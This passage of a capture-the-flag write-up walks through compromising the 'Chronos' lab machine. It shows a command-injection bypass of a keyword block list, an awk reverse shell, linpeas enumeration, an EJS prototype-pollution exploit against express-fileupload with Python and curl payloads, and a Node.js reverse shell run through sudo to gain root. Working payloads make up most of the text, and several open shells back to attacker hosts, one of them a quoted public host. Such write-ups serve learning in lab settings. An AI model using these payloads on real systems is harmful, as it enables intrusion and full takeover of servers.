* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< X-Powered-By: Express
< Access-Control-Allow-Origin: *
< Content-Type: text/html; charset=utf-8
< Content-Length: 94
< ETag: W/"5e-Kwn8QWerPIsQ9ochuuSrrmraznA"
< Date: Fri, 13 Aug 2021 02:18:48 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
< 
Today is Friday, August 13, 2021 02:18:48.
app.js
node_modules
package.json
package-lock.json
* Connection #0 to host 10.10.10.8 left intact

Oh hell yes, we've got RCE! I wonder if the space in the injected command causes issues?

# '+Today is %A, %B %d, %Y %H:%M:%S.';ls -a -> 9bEW4cq4qengPvFGtzJXEAs1sGpKzYpYvUjwvUngwAmfrVsNAjz8mVxC
Today is Friday, August 13, 2021 02:21:00.
.
..
app.js
node_modules
package.json
package-lock.json

Seems fine, let's just try again on port 80 to sneak out? And background the process?

# '+Today is %A, %B %d, %Y %H:%M:%S.';nc 10.10.10.4 80 -e /bin/bash & -> 2ALdp4hkvuYyBzqiRSvZioGk1qehQsU5mq79TuGiW9vH1oC3YLHRJbpbFrjtuUsB6GwuDtdsV5YqSBvinHKTabod6n1B
Something went wrong

Damn... and it crashed again. Well, let's try slower and figure out what binaries we have available to reverse shell with. First, check that I can run which on a known working command

# '+Today is %A, %B %d, %Y %H:%M:%S.';which ls -> DjerGPjfzgpppwB9v7NpFbn3gj553WkP8qQxnmExXpKnDR5EYxcGbkpExACi
./test.sh DjerGPjfzgpppwB9v7NpFbn3gj553WkP8qQxnmExXpKnDR5EYxcGbkpExACi
Something went wrong 

Yikes... perhaps which is on the bad binary list as well... Let's try a different way. Let's see who we are first:

# '+Today is %A, %B %d, %Y %H:%M:%S.';id -> 6o4pVfNt5u68hvKNrAyNuyr7at25Ddm18CEZm8JmX2GYysMajg6f
Something went wrong 

Let's try to peak at the source code?

# '+Today is %A, %B %d, %Y %H:%M:%S.';cat app.js -> 5H77UDUtonCv1VbB617Za6BYECmuPVgQ9G7gWGjmswYscbm9phawFciBx1mTEgz
./test.sh 5H77UDUtonCv1VbB617Za6BYECmuPVgQ9G7gWGjmswYscbm9phawFciBx1mTEgz
Today is Friday, August 13, 2021 02:31:59.
// created by alienum for Penetration Testing
const express = require('express');
const { exec } = require("child_process");
const bs58 = require('bs58');
const app = express();
const port = 8000;
const cors = require('cors');
app.use(cors());
app.get('/', (req,res) =>{
  
    res.sendFile("/var/www/html/index.html");
});
app.get('/date', (req, res) => {
    var agent = req.headers['user-agent'];
    var cmd = 'date ';
    const format = req.query.format;
    const bytes = bs58.decode(format);
    var decoded = bytes.toString();
    var concat = cmd.concat(decoded);
    if (agent === 'Chronos') {
        if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {
            res.send("Something went wrong");
        }
        exec(concat, (error, stdout, stderr) => {
            if (error) {
                console.log(`error: ${error.message}`);
                return;
            }
            if (stderr) {
                console.log(`stderr: ${stderr}`);
                return;
            }
            res.send(stdout);
        });
    }
    else{
        res.send("Permission Denied");
    }
})
app.listen(port,() => {
    console.log(`Server running at ${port}`);
})
* Connection #0 to host 10.10.10.8 left intact

Aaahhh there we go, this makes sense. Okay simple enough, we need to reverse shell without using any of the following:

  • id
  • nc
  • whoami
  • python
  • bash
  • php
  • which
  • socat awk should do the trick, here's the payload
'+Today is %A, %B %d, %Y %H:%M:%S.';awk 'BEGIN {s = "/inet/tcp/0/10.10.10.4/4444"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

Converted:

27i9HJzgZ7d8GVxDqJ3Gn11AcPSJ3665Tf4gaGtnAj8cyN8R5RvTSy286sWdjXaMzicQMmYAGFoJAnrCke3BmnAfnhprp2d5nKuRNKbVZ8vkJpC67EifNSnWYGy7Y9D6R6zMPpo7zifYCkpvryxbiCcjMCU7paWCG3PukGcbZg9jyvnP5sAMW81kAFeeNEdEGGnpsmXD4RKUykiQQTCKDgvu9Jqso46XbuuMNEU3gQfarFqHFHUrEdqTsGYiu4uQ6ej2BC2R6ux8Ln5NuBp2gJ7sj2ib8MumWPq1eeV1hAvx6nampd5j87LskgeD2NcGmNHCD22Fs9u

And boom we popped a reverse shell!

$ sudo nc -nvlp 4444
sudo: unable to resolve host kali: Temporary failure in name resolution
listening on [any] 4444 ...
connect to [10.10.10.4] from (UNKNOWN) [10.10.10.8] 45379
shell>id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell>

Privilege Escalation

I don't usually do this, but it's late and I just want a quick answer. I'm going to run linepas to automate the PE vector checking:

shell>wget 10.10.10.4:8000/linpeas.sh
shell>ls
app.js
linpeas.sh
node_modules
package.json
package-lock.json
shell>chmod a+x linpeas.sh
shell>./linpeas.sh
... Interesting pieces...
╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version 
Sudo version 1.8.21p2
╔══════════╣ Processes with credentials in memory (root req)
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#credentials-from-process-memory                  
apache2 process found (dump creds from memory as root)                 
╔══════════╣ Analyzing Other Interesting Files Files (limit 70)
-rw-r--r-- 1 root root 3771 Apr  4  2018 /etc/skel/.bashrc              
-rw-r--r-- 1 imera imera 3771 Apr  4  2018 /home/imera/.bashrc
-rw-r--r-- 1 root root 3771 Aug 31  2015 /snap/core/11420/etc/skel/.bashrc
-rw-r--r-- 1 root root 3771 Aug 31  2015 /snap/core/4917/etc/skel/.bashrc
════════════════════════════════════╣ Interesting Files ╠════════════════════════════════════
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid                             
strings Not Found                    
-rwsr-xr-x 1 root root 40K Nov 30  2017 /snap/core/4917/bin/mount  --->  Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8            
-rwsr-xr-x 1 root root 44K May  7  2014 /snap/core/4917/bin/ping
-rwsr-xr-x 1 root root 44K May  7  2014 /snap/core/4917/bin/ping6
-rwsr-xr-x 1 root root 40K May 17  2017 /snap/core/4917/bin/su
-rwsr-xr-x 1 root root 27K Nov 30  2017 /snap/core/4917/bin/umount  --->  BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 71K May 17  2017 /snap/core/4917/usr/bin/chfn  --->  SuSE_9.3/10
-rwsr-xr-x 1 root root 40K May 17  2017 /snap/core/4917/usr/bin/chsh (Unknown SUID binary)
-rwsr-xr-x 1 root root 74K May 17  2017 /snap/core/4917/usr/bin/gpasswd
-rwsr-xr-x 1 root root 39K May 17  2017 /snap/core/4917/usr/bin/newgrp  --->  HP-UX_10.20
-rwsr-xr-x 1 root root 53K May 17  2017 /snap/core/4917/usr/bin/passwd  --->  Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 134K Jul  4  2017 /snap/core/4917/usr/bin/sudo  --->  check_if_the_sudo_version_is_vulnerable
-rwsr-xr-- 1 root systemd-resolve 42K Jan 12  2017 /snap/core/4917/usr/lib/dbus-1.0/dbus-daemon-launch-helper (Unknown SUID binary)
-rwsr-xr-x 1 root root 419K Jan 18  2018 /snap/core/4917/usr/lib/openssh/ssh-keysign
-rwsr-sr-x 1 root root 97K Jun 21  2018 /snap/core/4917/usr/lib/snapd/snap-confine  --->  Ubuntu_snapd<2.37_dirty_sock_Local_Privilege_Escalation(CVE-2019-7304)
-rwsr-xr-- 1 root dip 382K Jan 29  2016 /snap/core/4917/usr/sbin/pppd  --->  Apple_Mac_OSX_10.4.8(05-2007)
-rwsr-xr-x 1 root root 40K Jan 27  2020 /snap/core/11420/bin/mount  --->  Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 44K May  7  2014 /snap/core/11420/bin/ping
-rwsr-xr-x 1 root root 44K May  7  2014 /snap/core/11420/bin/ping6
-rwsr-xr-x 1 root root 40K Mar 25  2019 /snap/core/11420/bin/su
-rwsr-xr-x 1 root root 27K Jan 27  2020 /snap/core/11420/bin/umount  --->  BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 71K Mar 25  2019 /snap/core/11420/usr/bin/chfn  --->  SuSE_9.3/10
-rwsr-xr-x 1 root root 40K Mar 25  2019 /snap/core/11420/usr/bin/chsh (Unknown SUID binary)
-rwsr-xr-x 1 root root 74K Mar 25  2019 /snap/core/11420/usr/bin/gpasswd
-rwsr-xr-x 1 root root 39K Mar 25  2019 /snap/core/11420/usr/bin/newgrp  --->  HP-UX_10.20
-rwsr-xr-x 1 root root 53K Mar 25  2019 /snap/core/11420/usr/bin/passwd  --->  Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 134K Jan 20  2021 /snap/core/11420/usr/bin/sudo  --->  check_if_the_sudo_version_is_vulnerable
-rwsr-xr-- 1 root systemd-resolve 42K Jun 11  2020 /snap/core/11420/usr/lib/dbus-1.0/dbus-daemon-launch-helper (Unknown SUID binary)
-rwsr-xr-x 1 root root 419K Jun  7 12:53 /snap/core/11420/usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 109K Jul 14 21:20 /snap/core/11420/usr/lib/snapd/snap-confine  --->  Ubuntu_snapd<2.37_dirty_sock_Local_Privilege_Escalation(CVE-2019-7304)
-rwsr-xr-- 1 root dip 386K Jul 23  2020 /snap/core/11420/usr/sbin/pppd  --->  Apple_Mac_OSX_10.4.8(05-2007)
-rwsr-xr-x 1 root root 63K Jun 28  2019 /bin/ping
-rwsr-xr-x 1 root root 31K Aug 11  2016 /bin/fusermount (Unknown SUID binary)
-rwsr-xr-x 1 root root 43K Sep 16  2020 /bin/mount  --->  Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 44K Mar 22  2019 /bin/su
-rwsr-xr-x 1 root root 27K Sep 16  2020 /bin/umount  --->  BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 19K Jun 28  2019 /usr/bin/traceroute6.iputils
-rwsr-sr-x 1 daemon daemon 51K Feb 20  2018 /usr/bin/at  --->  RTru64_UNIX_4.0g(CVE-2002-1614)
-rwsr-xr-x 1 root root 37K Mar 22  2019 /usr/bin/newgidmap
-rwsr-xr-x 1 root root 75K Mar 22  2019 /usr/bin/chfn  --->  SuSE_9.3/10
-rwsr-xr-x 1 root root 146K Jan 19  2021 /usr/bin/sudo  --->  check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root 44K Mar 22  2019 /usr/bin/chsh (Unknown SUID binary)
-rwsr-xr-x 1 root root 59K Mar 22  2019 /usr/bin/passwd  --->  Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 22K Mar 27  2019 /usr/bin/pkexec  --->  Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485)
-rwsr-xr-x 1 root root 40K Mar 22  2019 /usr/bin/newgrp  --->  HP-UX_10.20
-rwsr-xr-x 1 root root 37K Mar 22  2019 /usr/bin/newuidmap
-rwsr-xr-x 1 root root 75K Mar 22  2019 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 427K Mar  4  2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 116K Mar 26 15:49 /usr/lib/snapd/snap-confine  --->  Ubuntu_snapd<2.37_dirty_sock_Local_Privilege_Escalation(CVE-2019-7304)
-rwsr-xr-x 1 root root 10K Mar 28  2017 /usr/lib/eject/dmcrypt-get-device (Unknown SUID binary)
-rwsr-xr-- 1 root messagebus 42K Jun 11  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper (Unknown SUID binary)
-rwsr-xr-x 1 root root 99K Nov 23  2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
-rwsr-xr-x 1 root root 14K Mar 27  2019 /usr/lib/policykit-1/polkit-agent-helper-1

The first thing that peaks my interest is the sudo version:

shell>sudo --version
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2
searchsploit sudo 1.8
-------------------------------------------------- ---------------------------------
 Exploit Title                                    |  Path
-------------------------------------------------- ---------------------------------
sudo 1.8.0 < 1.8.3p1 - 'sudo_debug' glibc FORTIFY | linux/local/25134.c
sudo 1.8.0 < 1.8.3p1 - Format String              | linux/dos/18436.txt
Sudo 1.8.14 (RHEL 5/6/7 / Ubuntu) - 'Sudoedit' Un | linux/local/37710.txt
Sudo 1.8.20 - 'get_process_ttyname()' Local Privi | linux/local/42183.c
Sudo 1.8.25p - 'pwfeedback' Buffer Overflow       | linux/local/48052.sh
Sudo 1.8.25p - 'pwfeedback' Buffer Overflow (PoC) | linux/dos/47995.txt
sudo 1.8.27 - Security Bypass                     | linux/local/47502.py
-------------------------------------------------- ---------------------------------
Shellcodes: No Results

These all require that we have some setting existing in sudoers list, and while attempting to check if I had anything there it seems I cannot get a tty shell at all? Perhaps my awk method is making that impossible for some reason? I tried jumping again with nc after my initial exploit, but it seems that I cannot forward any sort of shell. No error of course. I also cannot cd to any directory in the system (not even /tmp) without any error. moving on for a litte while as I ponder all of this, here's some other notable things from linpeas:

  • Process: imera 824 0.0 2.9 598840 38384 ? Ssl Aug13 0:00 /usr/local/bin/node /opt/chronos-v2/backend/server.js
  • -rwxr-xr-x 1 root root 226 Dec 4 2017 /usr/share/byobu/desktop/byobu.desktop.old
  • imera has sudo to root capability, and we seem to be able to read home dir
shell>ls -al /home/imera
total 40
drwxr-xr-x 6 imera imera 4096 Aug  4 07:02 .
drwxr-xr-x 3 root  root  4096 Jul 29 08:30 ..
-rw-r--r-- 1 imera imera  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 imera imera 3771 Apr  4  2018 .bashrc
drwx------ 2 imera imera 4096 Jul 29 08:31 .cache
drwx------ 3 imera imera 4096 Jul 29 08:31 .gnupg
drwxrwxr-x 3 imera imera 4096 Aug  2 07:48 .local
drwxr-xr-x 4 imera imera 4096 Aug  3 21:12 .npm
-rw-r--r-- 1 imera imera  807 Apr  4  2018 .profile
-rw-r--r-- 1 imera imera    0 Jul 29 08:31 .sudo_as_admin_successful
-rw------- 1 imera imera   37 Aug  3 20:25 user.txt
shell>ls -al /opt/chronos-v2
total 20
drwxr-xr-x 4 root root 4096 Aug  3 19:40 .
drwxr-xr-x 4 root root 4096 Jul 30 07:50 ..
drwxr-xr-x 3 root root 4096 Aug  3 19:59 backend
drwxr-xr-x 3 root root 4096 Aug  3 19:41 frontend
-rw-r--r-- 1 root root  381 Aug  3 19:39 index.html

We know backend is running as imera, let's check out the code and hope for an easy hole...

//shell>cat /opt/chronos-v2/backend/server.js
const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')
const app = express();
app.use(fileupload({ parseNested: true }));
app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");
app.get('/', (req, res) => {
   res.render('index')
});
const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;
server.listen(port, addr, () => {
   console.log('Server listening on ' + addr + ' port ' + port);
})
<!--shell>curl localhost:8080-->
<!DOCTYPE html>
<html>
    <head>
        <title>Chronos - Version 2</title>
    </head>
    <body>
        <h1>Coming Soon...</h1>
    </body>
</html>

It seems to have added a file-upload... which means we may potentially be able to write to the system as user imera. Here's the docs for the express file upload being used. The first paragraph on the documentation is:

Please install version 1.1.10+ of this package to avoid a security vulnerability in Node/EJS related to JS prototype pollution. This vulnerability is only applicable if you have the parseNested option set to true (it is false by default)

We note that, this option is present on our CTF app. So, let's look into how to exploit it?

POST / HTTP/1.1
Content-Type: multipart/form-data; boundary=--------1566035451
Content-Length: 221
----------1566035451
Content-Disposition: form-data; name="__proto__.outputFunctionName";
x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"');x
----------1566035451--

So... let's try!

curl -X POST \
-H 'Content-Disposition: form-data; name="__proto__.outputFunctionName"' \
-H 'Content-Type: multipart/form-data' \
-d 'x;process.mainModule.require(\'child_process\').exec(\'bash -c "nc 10.10.10.4 5555 -e /bin/bash"\');x' \
localhost:8080

No feedback... let's take it slower.

curl -H "Content-Type: multipart/form-data" localhost:8080 > t && cat t
<!DOCTYPE html>
<html>
    <head>
        <title>Chronos - Version 2</title>
    </head>
    <body>
        <h1>Coming Soon...</h1>
    </body>
</html>
curl  -H "Content-Type: multipart/form-data" -H 'Content-Disposition: form-data; name="__proto__.toString"; filename="filename"' localhost:8080 > t && cat t
...same
curl  -H "Content-Type: multipart/form-data" -H 'Content-Disposition: form-data; name="__proto__.toString"; filename="filename"' -d 'data' localhost:8080 > t && cat t
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot POST /</pre>
</body>
</html>

While reading closer the POC example, they give their RCE stating that it must be using ejs tempalte engine, and...

shell>ls /opt/chronos-v2/frontend
pages
shell>ls /opt/chronos-v2/frontend/pages
index.ejs
index.html

That's indeed the case here! Here's their python script:

import requests
cmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'
# pollute
requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://p6.is:7777')

Edited for us...

import requests
cmd = 'bash -c "bash -i &> /dev/tcp/10.10.10.4/5555 0>&1"'
# pollute
requests.post('http://localhost:8080', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://localhost:8080')

Executing this:

shell>wget 10.10.10.4:8081/exploit.py
shell>python3 exploit.py
# My attacking machine...
 nc -nvlp 5555              
listening on [any] 5555 ...
connect to [10.10.10.4] from (UNKNOWN) [10.10.10.8] 51970
bash: cannot set terminal process group (824): Inappropriate ioctl for device
bash: no job control in this shell
imera@chronos:/opt/chronos-v2/backend$ id
id
uid=1000(imera) gid=1000(imera) groups=1000(imera),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
imera@chronos:/opt/chronos-v2/backend$

Hell yes!

Privilege Escalation from Imera

Alright if we remember from our infomation before, sudo is what we want to focus on, so:

imera@chronos:/opt/chronos-v2/backend$ sudo -l
sudo -l
Matching Defaults entries for imera on chronos:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User imera may run the following commands on chronos:
    (ALL) NOPASSWD: /usr/local/bin/npm *
    (ALL) NOPASSWD: /usr/local/bin/node *

Lovely, this should be trivial... I should be able to write a nodejs shell and get root pretty damn quickly...

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(6666, "10.10.10.4", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

And exploiting...

imera@chronos:/opt/chronos-v2/backend$ wget 10.10.10.4:6666/shell.js
wget 10.10.10.4:6666/shell.js
--2021-08-17 02:26:38--  http://10.10.10.4:6666/shell.js
Connecting to 10.10.10.4:6666... connected.
HTTP request sent, awaiting response... 200 OK
Length: 381 [application/javascript]
shell.js: Permission denied
Cannot write to ‘shell.js’ (Permission denied).
imera@chronos:/opt/chronos-v2/backend$ cd /tmp
cd /tmp
imera@chronos:/tmp$ ls
ls
systemd-private-d1dc4c47cf834209ade9bd5e35cbf854-apache2.service-Ue8M8T
systemd-private-d1dc4c47cf834209ade9bd5e35cbf854-systemd-resolved.service-GiOUpY
systemd-private-d1dc4c47cf834209ade9bd5e35cbf854-systemd-timesyncd.service-YCAGyq
tmux-33
imera@chronos:/tmp$ wget 10.10.10.4:6666/shell.js
wget 10.10.10.4:6666/shell.js
--2021-08-17 02:26:52--  http://10.10.10.4:6666/shell.js
Connecting to 10.10.10.4:6666... connected.
HTTP request sent, awaiting response... 200 OK
Length: 381 [application/javascript]
Saving to: ‘shell.js’
     0K                                                       100%  112M=0s
2021-08-17 02:26:52 (112 MB/s) - ‘shell.js’ saved [381/381]
imera@chronos:/tmp$ sudo node shell.js
sudo node shell.js
# Attacking machine
$ nc -nvlp 6666
listening on [any] 6666 ...
connect to [10.10.10.4] from (UNKNOWN) [10.10.10.8] 49132
id
uid=0(root) gid=0(root) groups=0(root)
cd /root
ls
root.txt
cat root.txt
YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK
cat root.txt | base64 --decode
apopse siopi mazeuoume oneira

GG! 5